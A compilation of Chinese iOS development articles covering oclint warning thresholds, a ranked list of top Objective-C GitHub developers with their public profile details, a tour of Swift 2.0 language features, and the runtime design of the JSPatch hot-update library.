	检查是否存在~目录下.bash_profile文件，因为此文件是隐藏文件，首先要让Finder能显示隐藏文件，命令行执行defaults write com.apple.finder AppleShowAllFiles TRUE 后 killall Finder，在Finder中Command+Shift+G前往文件夹，填写~查看，若无此文件，命令行进入次目录创建一个即可:cd ~后touch .bash_profile。恢复隐藏文件的隐藏defaults write com.apple.finder AppleShowAllFiles FALSE 后 killall Finder




分析结果


oclit的代码分析结果包括三种警告等级从高到底依次是：P1，P2，P3。


P3



	变量名长度：Long variable name P3 Variable name with 28 characters is longer than the threshold of 20 变量名超过20个字符，当然20的阀值是可以设置，之后会介绍。

	反向逻辑：Inverted logic，比如



if (![response isKindOfClass:[NSError class]]) {
    //
}
else{
    //
}




	方法行数：Long method P3 Method with 179 lines exceeds limit of 100，方法下的代码超过100行，不包括注释。

	参数未使用：Unused method parameter P3 The parameter 'section' is unused.，不过这个警告在IOS开发中比较普遍，可以忽略

	嵌套深度Deep nested block P3 Block depth of 8 exceeds limit of 5，比如各种block的嵌套或者if/else的嵌套



当然还有很多其他的情况


P2



	圈复杂度(CCN)：High cyclomatic complexity P2 Cyclomatic Complexity Number 31 exceeds limit of 10，意味着代码的复杂程度

	NPath 复杂度：/High npath complexity P2 NPath Complexity Number 384 exceeds limit of 200，具体不是很清楚



目前遇到的P2就是这些，P1的还没有遇到过。


回到刚才的脚本代码中


-- -rc=LONG_LINE=300 \
-rc=NCSS_METHOD=60 \



这是oclit给出的参数设置LONG_LINE表示每行代码的最长字符数，NCSS_METHOD表示有效代码行的最大行数。0.8dev版本的其他参数包括


CYCLOMATIC_COMPLEXITY
Cyclomatic complexity of a method, default value is 10

LONG_CLASS
Number of lines for a C++ class or Objective-C interface, category, protocol, and implementation, default value is 1000

LONG_LINE
Number of characters for one line of code, default value is 100

LONG_METHOD
Number of lines for a method or function, default value is 50

MINIMUM_CASES_IN_SWITCH
Count of case statements in a switch statement, default value is 3

NPATH_COMPLEXITY
NPath complexity of a method, default value is 200

NCSS_METHOD
Number of non-commenting source statements of a method, default value is 30

NESTED_BLOCK_DEPTH
Depth of a block or compound statement, default value is 5



可惜的是，并没有Unused method parameter相关参数。


总之，oclint的分析还是具有比较高的参考性，对于提高代码的可读性、可维护性还是有一定帮助的。


 GitHub排名前50的Objective-C开发者

作者：Anonymous1
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GitHub Top Users Objective-C World


这是GitHub在世界范围内排名前50的Objective-C程序员，并且列出相关信息，从而可以走近他们的程序世界。


数据来自GitHub的API以及自己整理的相关内容。


原文链接:
Objective-C top 50 GitHub developers




	Rank
  	Users
  	基本信息
  	简介





	1
  	
Wei Wang
onevcat 


  	name: "Wei Wang"
company: "LINE Corp."
blog: "http://onevcat.com/"
location: "Kawasaki, Japan"
email: "onev@onevcat.com"
  	作品:
《Swifter - 100 个 Swift 必备 tips》
VVDocumenter-Xcode:Xcode plug-in which helps you write Javadoc style documents easier.

Linkedin:Wei Wang
twitter:https://twitter.com/onevcat




	2
  	
Sam Soffes
soffes 


  	name: "Sam Soffes"
company: "Venmo"
blog: "http://soff.es"
location: "San Francisco"
email: "sam@soff.es"
  	Linkedin:Sam Soffes
twitter:https://twitter.com/soffesX28Xabout:http://soff.es/about




	3
  	
Nick Lockwood
nicklockwood 


  	name: "Nick Lockwood"
company: "Charcoal Design"
blog: "http://charcoaldesign.co.uk"
location: "UK"
email: "support@charcoaldesign.co.uk"
  	作品:
iCarousel:A simple, highly customisable, data-driven 3D carousel for iOS and Mac OS

twitter:https://twitter.com/nicklockwood




	4
  	
Peter Steinberger
steipete 


  	name: "Peter Steinberger"
company: "PSPDFKit GmbH"
blog: "http://petersteinberger.com"
location: "Vienna, Austria"
email: "steipete@gmail.com"
  	Linkedin:Peter Steinberger
twitter:https://twitter.com/steipete




	5
  	
Erica Sadun
erica 


  	name: "Erica Sadun"
blog: "http://ericasadun.com"
location: "Denver, CO"
email: "erica@ericasadun.com"


  	

twitter:https://twitter.com/ericasadun




	6
  	
Max Howell
mxcl 


  	name: "Max Howell"
company: ""
blog: "mxcl's blog"
location: "Chicago"
email: "mxcl@me.com"
  	作品:
Homebrew:The missing package manager for OS X.

Linkedin:Max Howell




	7
  	
Mike Ash
mikeash 


  	name: "Mike Ash"
company: null
blog: "http://mikeash.com/"
location: null
email: "mike@mikeash.com"
  	

twitter:https://twitter.com/mikeash




	8
  	
M了个J
CoderMJLee 


  	name: "M了个J"
company: "小码哥 http://www.520it.com"
blog: "http://www.weibo.com/exceptions"
location: "Guangzhou, China"
email: "richermj123go@vip.qq.com"
  	作品：
MJRefresh:The easiest way to use pull-to-refresh



	9
  	
Tang Qiao
tangqiaoboy 


  	name: "Tang Qiao"
company: "yuantiku.com"
blog: "http://devtang.com"
location: "Beijing, China"
  	作品:
《iOS 开发进阶》




	10
  	
marcoarment
marcoarment 


  	
  	



	11
  	
Justin Spahr-Summers
jspahrsummers 


  	name: "Justin Spahr-Summers"
company: ""
blog: "http://jspahrsummers.com"
location: "San Francisco, CA"
email: "justin@jspahrsummers.com"
  	

twitter:https://twitter.com/jspahrsummers




	12
  	
Matt Gemmell
mattgemmell 


  	name: "Matt Gemmell"
company: ""
blog: "http://mattgemmell.com/"
location: "Edinburgh, Scotland"
email: "matt@mattgemmell.com"


  	Linkedin:Matt Gemmell




	13
  	
Lex Tang
lexrus 


  	name: "Lex Tang"
company: "XinweiCook.com"
blog: "http://lexrus.com/"
location: "Shanghai China"
email: "lexrus@gmail.com"
  	作品:
LTMorphingLabel:Graceful morphing effects for UILabel written in Swift.

Linkedin:Lex Tang




	14
  	
Robbie Hanson
robbiehanson 


  	name: "Robbie Hanson"
blog: "http://deusty.blogspot.com/"
location: "Bend, Oregon"
  	作品:
CocoaAsyncSocket:Asynchronous socket networking library for Mac and iOS

Linkedin:Robbie Hanson




	15
  	
Roman Efimov
romaonthego 


  	name: "Roman Efimov"
company: "Yahoo! Inc."
blog: "twitter.com/romaonthego"
location: "San Francisco Bay Area"
email: "romefimov@gmail.com"
  	作品:
RESideMenu:iOS 7/8 style side menu with parallax effect.

Linkedin:https://www.linkedin.com/in/romanefimov




	16
  	
Sam Vermette
samvermette 


  	name: "Sam Vermette"
company: "Transit App"
blog: "http://samvermette.com"
location: "Montréal"
  	作品:
SVPullToRefresh:Give pull-to-refresh & infinite scrolling to any UIScrollView with 1 line of code.



	17
  	
Ash Furrow
ashfurrow 


  	name: "Ash Furrow"
company: "Artsy"
blog: "http://ashfurrow.com"
location: ""
email: "ash@ashfurrow.com"


  	Linkedin:Ash Furrow




	18
  	
Ryan Petrich
rpetrich 


  	name: "Ryan Petrich"
company: null
blog: "http://rpetri.ch/"
location: ""
email: "rpetrich@gmail.com"


  	twitter:https://twitter.com/rpetrich




	19
  	
Jack
xhzengAIB 


  	name: "Jack"
company: "JackTeam && duowan"
blog: "http://www.pailixiu.com/Jack/personal/"
location: "China GuangDong (广州)"
email: "xhzengAIB@gmail.com"


  	



	20
  	
Jeff Verkoeyen
jverkoey 


  	name: "Jeff Verkoeyen"
company: ""
blog: "http://JeffVerkoeyen.com/"
location: "New York, NY"
email: "jverkoey@gmail.com",
  	作品:
nimbus:The iOS framework that grows only as fast as its documentation

Linkedin:https://www.linkedin.com/in/jeffverkoeyen




	21
  	
Mugunth Kumar
MugunthKumar 


  	name: "Mugunth Kumar"
company: "Steinlogic Consulting and Training Pte Ltd"
blog: "http://blog.mugunthkumar.com/"
location: "Singapore"
email: "mugunth@steinlogic.com"


  	作品:
MKNetworkKit:ARC ready Networking Framework with built in authentication and HTTP 1.1 caching standards support for iOS 5+ devices

Linkedin:https://www.linkedin.com/in/mugunthkumar




	22
  	
Loren Brichter
atebits 


  	name: "Loren Brichter"
company: "atebits"
blog: "http://www.atebits.com/news/"
location: "Philly"
email: "loren.brichter@atebits.com"


  	twitter:https://twitter.com/lorenb




	23
  	
Josh Abernathy
joshaber 


  	name: "Josh Abernathy"
company: "GitHub"
blog: "http://twitter.com/joshaber"
location: "The Gem City"
email: "joshaber@gmail.com"
  	



	24
  	
Orta
orta 


  	name: "Orta"
company: "Artsy.net && CocoaPods"
blog: "http://orta.github.io"
location: "Manchester / NYC"
email: "orta.therox@gmail.com"


  	twitter:https://twitter.com/orta




	25
  	
Oliver Drobnik
Cocoanetics 


  	name: "Oliver Drobnik"
company: "Drobnik KG"
blog: "http://www.cocoanetics.com"
location: "Vienna, Austria"
email: "oliver@cocoanetics.com"


  	



	26
  	
Jonathan 'Wolf' Rentzsch
rentzsch 


  	name: "Jonathan 'Wolf' Rentzsch"
company: ""
blog: "http://rentzsch.com"
location: "Chicagoland+WI"


  	twitter:https://twitter.com/rentzsch




	27
  	
Ryan Nystrom
rnystrom 


  	name: "Ryan Nystrom"
company: "Facebook"
blog: "whoisryannystrom.com"
location: "San Francisco, CA"
email: "rnystrom@whoisryannystrom.com"


  	Linkedin:https://www.linkedin.com/in/ryannystrom




	28
  	
Olivier Poitrey
rs 


  	name: "Olivier Poitrey"
company: "Dailymotion"
blog: "http://www.dailymotion.com"
location: "Silicon Valley, California, USA"
  	作品:
SDWebImage:Asynchronous image downloader with cache support with an UIImageView category

Linkedin:https://www.linkedin.com/in/rsoliv




	29
  	
honcheng
honcheng 


  	name: "honcheng"
company: "buUuk Pte Ltd"
blog: "http://honcheng.com"
location: "Singapore"
email: "honcheng@gmail.com"
  	twitter:https://twitter.com/honcheng




	30
  	
Marin Usalj
supermarin 


  	name: "Marin Usalj"
company: "Lyft"
blog: "supermar.in"
location: "San Francisco, CA"


  	作品:
Alcatraz:Package manager for Xcode

Linkedin:https://www.linkedin.com/in/marinusalj




	31
  	
shu223
shu223 


  	name: "shu223"
company: "Freelancer"
blog: "http://d.hatena.ne.jp/shu223/"
location: "Tokyo, Japan"
email: "shuichi0526@gmail.com"


  	Linkedin:https://www.linkedin.com/pub/shuichi-tsutsumi/5b/b75/525 
twitter:https://twitter.com/shu223




	32
  	
Krzysztof Zabłocki
krzysztofzablocki 


  	name: "Krzysztof Zabłocki"
company: ""
blog: "http://merowing.info"
location: "Warsaw, Poland"
email: "krzysztof.zablocki@me.com"


  	Linkedin:Krzysztof Zabłocki
twitter:https://twitter.com/merowing_




	33
  	
Andy Matuschak
andymatuschak 


  	name: "Andy Matuschak"
company: "Khan Academy"
blog: "http://andymatuschak.org"
location: "San Francisco, CA"
email: "andy@andymatuschak.org"


  	twitter:https://twitter.com/andy_matuschak




	34
  	
Brad Larson
BradLarson 


  	name: "Brad Larson"
company: "Sunset Lake Software LLC"
blog: "http://www.sunsetlakesoftware.com"
location: "Madison, WI USA"
email: "contact@sunsetlakesoftware.com"


  	作品:
GPUImage:An open source iOS framework for GPU-based image and video processing
about:Brad Larson




	35
  	
James Tang
jamztang 


  	name: "James Tang"
blog: "http://jamztang.com"
location: "Hong Kong"


  	twitter:https://twitter.com/jamztang




	36
  	
kishikawa katsumi
kishikawakatsumi 


  	name: "kishikawa katsumi"
company: "Realm"
blog: "http://kishikawakatsumi.com"
location: "Tokyo"
email: "kishikawakatsumi@mac.com"


  	作品:
UICKeyChainStore:UICKeyChainStore is a simple wrapper for Keychain on iOS. Makes using Keychain APIs as easy as NSUserDefaults.

Linkedin:https://www.linkedin.com/in/kishikawakatsumiX456Xtwitter:https://twitter.com/k_katsumiX457X简历:http://kishikawakatsumi.com/#resume




	37
  	
Meng To
MengTo 


  	name: "Meng To"
blog: "http://mengto.com/"
email: "shadownessguy@gmail.com"


  	twitter:https://twitter.com/mengtoX471X简历:http://mengto.com/img/Resume.pdf




	38
  	
Indragie Karunaratne
indragiek 


  	name: "Indragie Karunaratne"
blog: "http://indragie.com"
location: "Edmonton, AB"
email: "i@indragie.com"


  	twitter:https://twitter.com/indragie




	39
  	
Cédric Luthi
0xced 


  	name: "Cédric Luthi"
blog: "http://0xced.blogspot.com"
location: "Geneva, Switzerland"
email: "cedric.luthi@gmail.com"


  	Linkedin:https://www.linkedin.com/in/0xcedX495Xtwitter:https://twitter.com/0xced




	40
  	
Jiangang Zhu
levey 


  	name: "Jiangang Zhu"
company: "Bindo Labs"
blog: "http://www.golevey.com"
location: "New York"
email: "levey.zhu@gmail.com"
  	twitter:https://twitter.com/LeveyZhu




	41
  	
Ole Zorn
omz 


  	name: "Ole Zorn"
company: "omz:software"
blog: "http://omz-software.com"
location: "Berlin, Germany"
  	



	42
  	
Dan Abramov
gaearon 


  	name: "Dan Abramov"
company: ""
blog: "http://twitter.com/dan_abramov"
location: "St. Pete"
email: "dan.abramov@me.com"


  	



	43
  	
Choi
equus12 


  	name: "Choi"


  	



	44
  	
Jonathan Wight
schwa 


  	name: "Jonathan Wight"
blog: "http://toxicsoftware.com/"
location: "Berkeley CA"
email: "schwa@toxicsoftware.com"


  	Linkedin:https://www.linkedin.com/in/jwight




	45
  	
Dustin L. Howett
DHowett 


  	name: "Dustin L. Howett"
company: "HowettNET"
blog: "http://howett.net"
location: "Berkeley, CA"
email: "dustin@howett.net"


  	



	46
  	
Zheng Zhu
MartianZ 


  	name: "Zheng Zhu"
company: ""
blog: "http://MartianZ.cn"
location: "UESTC"
email: "fzyadmin@gmail.com"


  	twitter:https://twitter.com/_MartianZ




	47
  	
Brian Gesiak
modocache 


  	name: "Brian Gesiak"
company: "Facebook"
blog: "http://modocache.io"
location: "Brooklyn, NY"
email: "modocache@gmail.com"


  	Linkedin:https://www.linkedin.com/in/bgesiakX579Xtwitter:https://twitter.com/modocache




	48
  	
Dave DeLong
davedelong 


  	name: "Dave DeLong"
blog: "http://davedelong.com/"
location: "Santa Clara, CA"


  	Linkedin:https://www.linkedin.com/in/davedelongX591Xtwitter:https://twitter.com/davedelongX592Xstackoverflow:dave-delong




	49
  	
Qitao Yang
KittenYang 


  	name: "Qitao Yang"
company: "Smartisan Software Co., Ltd."
blog: "http://kittenyang.com"
location: "Beijing,China"
email: "kittenyang@icloud.com"


  	Linkedin:杨骑滔 (KittenYang)




	50
  	
Jesse Squires
jessesquires 


  	name: "Jesse Squires"
company: "Hexed Bits"
blog: "www.jessesquires.com"
location: "San Francisco, CA"


  	作品:
JSQMessagesViewController:An elegant messages UI library for iOS

twitter:https://twitter.com/jesse_squires






转载请带上本文链接:


https://github.com/coderyi/Monkey/blob/master/github_top_users_reposit...


 Swift 2.0初探

作者：DevTalking

来源： Swift 2.0初探



                    
转眼间，Swift已经一岁多了，这门新鲜、语法时尚、类型安全、执行速度更快的语言已经渐渐的深入广大开发者的心。我同样也是非常喜爱这门新的编程语言。


今年6月，一年一度的WWDC大会如期而至，在大会上Apple发布了Swift 2.0，引入了很多新的特性，以帮助开发者能更快，更简单的构建应用。我在这里也说道说道Swift 2.0中值得大家注意的新特性。



guard语句


guard语句和if语句有点类似，都是根据其关键字之后的表达式的布尔值决定下一步执行什么。但与if语句不同的是，guard语句只会有一个代码块，不像if语句可以if else多个代码块。


那么guard语句的作用到底是什么呢？顾名思义，就是守护。guard语句判断其后的表达式布尔值为false时，才会执行之后代码块里的代码，如果为true，则跳过整个guard语句，我们举例来看看。


我们以今年高考为例，在进入考场时一般都会检查身份证和准考证，我们写这样一个方法：



func checkup(person: [String: String!]) {

    // 检查身份证，如果身份证没带，则不能进入考场
    guard let id = person["id"] else {
        print("没有身份证，不能进入考场!")
        return
    }

    // 检查准考证，如果准考证没带，则不能进入考场
    guard let examNumber = person["examNumber"] else {
        print("没有准考证，不能进入考场!")
        return
    }

    // 身份证和准考证齐全，方可进入考场
    print("您的身份证号为:\(id)，准考证号为:\(examNumber)。请进入考场!")

}

checkup(["id": "123456"]) // 没有准考证，不能进入考场!
checkup(["examNumber": "654321"]) // 没有身份证，不能进入考场!
checkup(["id": "123456", "examNumber": "654321"]) // 您的身份证号为:123456，准考证号为:654321。请进入考场!




上述代码中的第一个guard语句用于检查身份证，如果检查到身份证没带，也就是表达式为false时，执行大括号里的代码，并返回。第二个guard语句则检查准考证。


如果两证齐全，则执行最后一个打印语句，上面的两个guard语句大括号内的代码都不会执行，因为他们表达式的布尔值都是true。


这里值得注意的是，id和examNumber可以在guard语句之外使用，也就是说当guard对其表达式进行验证后，id和examNumber可在整个方法的作用域中使用，并且是解包后的。


我们再用if else语句写一个类似的方法：



func checkupUseIf(person: [String: String!]) {

    if let id = person["id"], let examNumber = person["examNumber"] {
        print("您的身份证号为:\(id)，准考证号为:\(examNumber)。请进入考场！")
    } else {
        print("证件不齐全，不能进入考场!")
    }

    print("您的身份证号为:\(id)，准考证号为:\(examNumber)")

}

checkupUseIf(["id": "123456"]) // 证件不齐全，不能进入考场!
checkupUseIf(["examNumber": "654321"]) // 证件不齐全，不能进入考场!
checkupUseIf(["id": "123456", "examNumber": "654321"]) // 您的身份证号为:123456，准考证号为:654321。请进入考场!




我们可以看到用if else实现的方法显然不如guard实现的那么精准。而且id和examNumber的作用域只限在if的第一个大括号内，超出这个作用域编译就会报错。


通过上述两个小例子不难看出，guard语句正如一个称职的守卫，层层把关，严防一切不允许发生的事，并且让代码具有更高的可读性，非常棒。


异常处理


在Swift 1.0时代是没有异常处理和抛出机制的，如果要处理异常，要么使用if else语句或switch语句判断处理，要么使用闭包形式的回调函数处理，再要么就使用NSError处理。以上这些方法都不能像Java中的try catch异常控制语句那样行如流水、从容不迫的处理异常，而且也会降低代码的可读性。当Swift 2.0到来后，一切都不一样了。


在Swift 2.0中Apple提供了使用throws、throw、try、do、catch这五个关键字组成的异常控制处理机制。下面我们来举例看看如何使用，我用使用手机刷朋友圈为例。


首先我们需要定义异常枚举，在Swift 2.0中Apple提供了ErrorType协议需要我们自定义的异常枚举遵循：



enum WechatError: ErrorType {
    case NoBattery // 手机没电
    case NoNetwork // 手机没网
    case NoDataStream // 手机没有流量
}




我们定义了导致不能刷微信的错误枚举’wechatError。然后定义一个检查是否可以刷微信的方法checkIsWechatOk()：



func checkIsWechatOk(isPhoneHasBattery: Bool, isPhoneHasNetwork: Bool, dataStream: Int) throws {

    guard isPhoneHasBattery else {
        throw WechatError.NoBattery
    }

    guard isPhoneHasNetwork else {
        throw WechatError.NoNetwork
    }

    guard dataStream > 50 else {
        throw WechatError.NoDataStream
    }

}




这里注意，在方法名后有throws关键字，意思为该方法产生的异常向上层抛出。在方法体内使用guard语句对各种状态进行判断，然后使用throw关键字抛出对应的异常。然后我们定义刷微信的方法：



func playWechat(isPhoneHasBattery: Bool, isPhoneHasNetwork: Bool, dataStream: Int) {

    do {
        try checkIsWechatOk(isPhoneHasBattery, isPhoneHasNetwork: isPhoneHasNetwork, dataStream: dataStream)
        print("放心刷，刷到天昏地暗！")
    } catch WechatError.NoBattery {
        print("手机都没电，刷个鬼啊！")
    } catch WechatError.NoNetwork {
        print("没有网络哎，洗洗玩单机吧！")
    } catch WechatError.NoDataStream {
        print("没有流量了，去蹭Wifi吧！")
    } catch {
        print("见鬼了！")
    }

}

playWechat(true, isPhoneHasNetwork: true, dataStream: 60) // 放心刷，刷到天昏地暗！
playWechat(true, isPhoneHasNetwork: false, dataStream: 60) // 没有网络哎，洗洗玩单机吧！
playWechat(false, isPhoneHasNetwork: true, dataStream: 60) // 手机都没电，刷个鬼啊！
playWechat(true, isPhoneHasNetwork: true, dataStream: 30) // 没有流量了，去蹭Wifi吧！




上述的代码示例中，首先检查是否可以刷微信的方法前使用try关键字，表示允许该方法抛出异常，然后使用了do catch控制语句捕获抛出的异常，进而做相关的逻辑处理。


这套异常处理机制使Swift更加的全面和安全，并且提高了代码的可读性，非常棒。


协议扩展


在Swift 1.0 时代，协议（Protocol）基本上类似一个接口，定义若干属性和方法，供类、结构体、枚举遵循和实现。在Swift 2.0中，可以对协议进行属性或者方法的扩展，和扩展类与结构体类似。这让我们开启了面向协议编程的篇章。


Swift中，大多数基础对象都遵循了CustomStringConvertible协议，比如Array、Dictionary（Swift 1.0中的Printable协议），该协议定义了description方法，用于print方法打印对象。现在我们对该协议扩展一个方法，让其打印出大写的内容:



var arr = ["hello", "world"]
print(arr.description) // "[hello, world]"

extension CustomStringConvertible {
    var upperDescription: String {
        return "\(self.description.uppercaseString)"
    }
}

print(arr.upperDescription) // "[HELLO, WORLD]"




如果在Swfit 1.0时代，要想达到上述示例的效果，那么我们需要分别对Array、Dictionary进行扩展，所以协议的扩展极大的提高了我们的编程效率，也同样使代码更简洁和易读。


打印语句的改变


在Swift1中，有'println()'和'print()'两个在控制台打印语句的方法，前者是换行打印，后者是连行打印。在Swift2中，'println()'已成为过去，取而代之的是他俩的结合体。如果你想做换行打印，现在需要这样写：



print("我要换行！", appendNewline: true)





available检查


作为iOS开发者，谁都希望使用最新版本iOS的Api进行开发，省事省力。但常常事与愿违，因为我们经常需要适配老版本的iOS，这就会面临一个问题，一些新特性特性或一些类无法在老版本的iOS中使用，所以在编码过程中经常会对iOS的版本做以判断，就像这样：



if NSClassFromString("NSURLQueryItem") != nil {
    // iOS 8或更高版本
} else{
    // iOS8之前的版本
}




以上这只是一种方式，在Swift 2.0之前也没有一个标准的模式或机制帮助开发者判断iOS版本，而且容易出现疏漏。在Swift 2.0到来后，我们有了标准的方式来做这个工作：



if #available(iOS 8, *) {
    // iOS 8或更高版本
    let queryItem = NSURLQueryItem()
    
} else {
    // iOS8之前的版本
    
}




这个特性让我们太幸福。



do-while语句重命名


经典的do-while语句改名了，改为了repeat-while：



var i = 0
repeat {
    i++
    print(i)
} while i < 10




个人感觉更加直观了。



defer关键字


在一些语言中，有try/finally这样的控制语句，比如Java。这种语句可以让我们在finally代码块中执行必须要执行的代码，不管之前怎样的兴风作浪。在Swift 2.0中，Apple提供了defer关键字，让我们可以实现同样的效果。



func checkSomething() {

    print("CheckPoint 1")
    doSomething()
    print("CheckPoint 4")

}

func doSomething() {

    print("CheckPoint 2")
    defer {
        print("Clean up here")
    }
    print("CheckPoint 3")

}

checkSomething() // CheckPoint 1, CheckPoint 2, CheckPoint 3, Clean up here, CheckPoint 4




上述示例可以看到，在打印出“CheckPoint 2”之后并没有打印出“Clean up here”，而是“CheckPoint 3”，这就是defer的作用，它对进行了print("Clean up here")延迟。我们再来看一个I/O的示例：



// 伪代码
func writeSomething() {

    let file = OpenFile()

    let ioStatus = fetchIOStatus()
    guard ioStatus != "error" else {
        return
    }
    file.write()

    closeFile(file)

}




上述示例是一个I/O操作的伪代码，如果获取到的ioStatus正常，那么该方法没有问题，如果ioStatus取到的是error，那么会被guard语句抓到执行return操作，这样的话closeFile(file)就永远都不会执行了，一个严重的Bug就这样产生了。下面我们看看如何用defer来解决这个问题：



// 伪代码
func writeSomething() {

    let file = OpenFile()
    defer {
        closeFile(file)
    }

    let ioStatus = fetchIOStatus()
    guard ioStatus != "error" else {
        return
    }
    file.write()

}




我们将closeFile(file)放在defer代码块里，这样即使ioStatus为error，在执行return前会先执行defer里的代码，这样就保证了不管发生什么，最后都会将文件关闭。


defer又一个保证我们代码健壮性的特性，我非常喜欢。


Swift 2.0中的新特性当然不止以上这些，但窥一斑可见全豹，Swift 2.0努力将更快、更安全做到极致，这是开发人员的福音，让我们尽情享受这门美妙的语言吧。


本文首发地址：Swift 2.0初探
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JSPatch以小巧的体积做到了让JS调用/替换任意OC方法，让iOS APP具备热更新的能力，在实现 JSPatch 过程中遇到过很多困难也踩过很多坑，有些还是挺值得分享的。本篇文章从基础原理、方法调用和方法替换三块内容介绍整个 JSPatch 的实现原理，并把实现过程中的想法和碰到的坑也尽可能记录下来。

基础原理

能做到通过JS调用和改写OC方法最根本的原因是 Objective-C 是动态语言，OC上所有方法的调用/类的生成都通过 Objective-C Runtime 在运行时进行，我们可以通过类名/方法名反射得到相应的类和方法：

Class class = NSClassFromString("UIViewController");
id viewController = [[class alloc] init];
SEL selector = NSSelectorFromString("viewDidLoad");
[viewController performSelector:selector];

也可以替换某个类的方法为新的实现：

static void newViewDidLoad(id slf, SEL sel) {}
class_replaceMethod(class, selector, newViewDidLoad, @"");

还可以新注册一个类，为类添加方法：

Class cls = objc_allocateClassPair(superCls, "JPObject", 0);
objc_registerClassPair(cls);
class_addMethod(cls, selector, implement, typedesc);

对于 Objective-C 对象模型和动态消息发送的原理已有很多文章阐述得很详细，例如这篇，这里就不详细阐述了。理论上你可以在运行时通过类名/方法名调用到任何OC方法，替换任何类的实现以及新增任意类。所以 JSPatch 的原理就是：JS传递字符串给OC，OC通过 Runtime 接口调用和替换OC方法。这是最基础的原理，实际实现过程还有很多怪要打，接下来看看具体是怎样实现的。

方法调用

require('UIView')
var view = UIView.alloc().init()
view.setBackgroundColor(require('UIColor').grayColor())
view.setAlpha(0.5)

引入JSPatch后，可以通过以上JS代码创建了一个 UIView 实例，并设置背景颜色和透明度，涵盖了require引入类，JS调用接口，消息传递，对象持有和转换，参数转换这五个方面，接下来逐一看看具体实现。

1.require

调用 require('UIView') 后，就可以直接使用 UIView 这个变量去调用相应的类方法了，require 做的事很简单，就是在JS全局作用域上创建一个同名变量，变量指向一个对象，对象属性__isCls表明这是一个 Class，__clsName保存类名，在调用方法时会用到这两个属性。

var _require = function(clsName) {
  if (!global[clsName]) {
    global[clsName] = {
      __isCls: 1,
      __clsName: clsName
    }
  }
  return global[clsName]
}

所以调用require('UIView')后，就在全局作用域生成了 UIView 这个变量，指向一个这样一个对象：

{
  __isCls: 1,
  __clsName: "UIView"
}

2.JS接口

接下来看看 UIView.alloc() 是怎样调用的。

旧实现

对于这个调用的实现，一开始我的想法是，根据JS特性，若要让 UIView.alloc() 这句调用不出错，唯一的方法就是给 UIView 这个对象添加 alloc 方法，不然是不可能调用成功的，JS对于调用没定义的属性/变量，只会马上抛出异常，而不像OC/Lua/ruby那样会有转发机制。所以做了一个复杂的事，就是在require生成类对象时，把类名传入OC，OC通过 Runtime 方法找出这个类所有的方法返回给JS，JS类对象为每个方法名都生成一个函数，函数内容就是拿着方法名去OC调用相应方法。生成的 UIView 对象大致是这样的：

{
    __isCls: 1,
    __clsName: "UIView",
    alloc: function() {…},
    beginAnimations_context: function() {…},
    setAnimationsEnabled: function(){…},
    ...
}

实际上不仅要遍历当前类的所有方法，还要循环找父类的方法直到顶层，整个继承链上的所有方法都要加到JS对象上，一个类就有几百个方法，这样把方法全部加到JS对象上，碰到了挺严重的问题，引入几个类就内存暴涨，无法使用。后来为了优化内存问题还在JS搞了继承关系，不把继承链上所有方法都添加到一个JS对象，避免像基类 NSObject 的几百个方法反复添加在每个JS对象上，每个方法只存在一份，JS对象复制了OC对象的继承关系，找方法时沿着继承链往上找，结果内存消耗是小了一些，但还是大到难以接受。

新实现

当时继续苦苦寻找解决方案，若按JS语法，这是唯一的方法，但若不按JS语法呢？突然脑洞开了下，CoffieScript/JSX都可以用JS实现一个解释器实现自己的语法，我也可以通过类似的方式做到，再进一步想到其实我想要的效果很简单，就是调用一个不存在方法时，能转发到一个指定函数去执行，就能解决一切问题了，这其实可以用简单的字符串替换，把JS脚本里的方法调用都替换掉。最后的解决方案是，在OC执行JS脚本前，通过正则把所有方法调用都改成调用 __c() 函数，再执行这个JS脚本，做到了类似OC/Lua/Ruby等的消息转发机制：

UIView.alloc().init()
->
UIView.__c('alloc')().__c('init')()

给JS对象基类 Object 的 prototype 加上 __c 成员，这样所有对象都可以调用到 __c，根据当前对象类型判断进行不同操作：

Object.prototype.__c = function(methodName) {
  if (!this.__obj && !this.__clsName) return this[methodName].bind(this);
  var self = this
  return function(){
    var args = Array.prototype.slice.call(arguments)
    return _methodFunc(self.__obj, self.__clsName, methodName, args, self.__isSuper)
  }
}

_methodFunc() 就是把相关信息传给OC，OC用 Runtime 接口调用相应方法，返回结果值，这个调用就结束了。

这样做不用去OC遍历对象方法，不用在JS对象保存这些方法，内存消耗直降99%，这一步是做这个项目最爽的时候，用一个非常简单的方法解决了严重的问题，替换之前又复杂效果又差的实现。

3.消息传递

解决了JS接口问题，接下来看看JS和OC是怎样互传消息的。这里用到了 JavaScriptCore 的接口，OC端在启动JSPatch引擎时会创建一个 JSContext 实例，JSContext 是JS代码的执行环境，可以给 JSContext 添加方法，JS就可以直接调用这个方法：

JSContext *context = [[JSContext alloc] init];
context[@"hello"] = ^(NSString *msg) {
    NSLog(@"hello %@", msg);
};
[_context evaluateScript:@"hello('word')"];     //output hello word

JS通过调用 JSContext 定义的方法把数据传给OC，OC通过返回值传会给JS。调用这种方法，它的参数/返回值 JavaScriptCore 都会自动转换，OC里的 NSArray, NSDictionary, NSString, NSNumber, NSBlock 会分别转为JS端的数组/对象/字符串/数字/函数类型。上述 _methodFunc() 方法就是这样把要调用的类名和方法名传递给OC的。

4.对象持有/转换

UIView.alloc() 通过上述消息传递后会到OC执行 [UIView alloc]，并返回一个UIView实例对象给JS，这个OC实例对象在JS是怎样表示的呢？怎样可以在JS拿到这个实例对象后可以直接调用它的实例方法 (UIView.alloc().init())？

对于一个自定义id对象，JavaScriptCore 会把这个自定义对象的指针传给JS，这个对象在JS无法使用，但在回传给OC时OC可以找到这个对象。对于这个对象生命周期的管理，按我的理解如果JS有变量引用时，这个OC对象引用计数就加1 ，JS变量的引用释放了就减1，如果OC上没别的持有者，这个OC对象的生命周期就跟着JS走了，会在JS进行垃圾回收时释放。

传回给JS的变量是这个OC对象的指针，如果不经过任何处理，是无法通过这个变量去调用实例方法的。所以在返回对象时，JSPatch 会对这个对象进行封装。

首先，告诉JS这是一个OC对象：

static NSDictionary *toJSObj(id obj)
{
    if (!obj) return nil;
    return @{@"__isObj": @(YES), @"cls": NSStringFromClass([obj class]), @"obj": obj};
}

用__isObj表示这是一个OC对象，对象指针也一起返回。接着在JS端会把这个对象转为一个 JSClass 实例：

var JSClass
var _getJSClass = function(className) {
  if (!JSClass) {
    JSClass = function(obj, className, isSuper) {
        this.__obj = obj
        this.__isSuper = isSuper
        this.__clsName = className
    }
  }
  return JSClass
}

var _toJSObj = function(meta) {
  var JSClass = _getJSClass()
  return new JSClass(meta["obj"], meta["cls"])
}

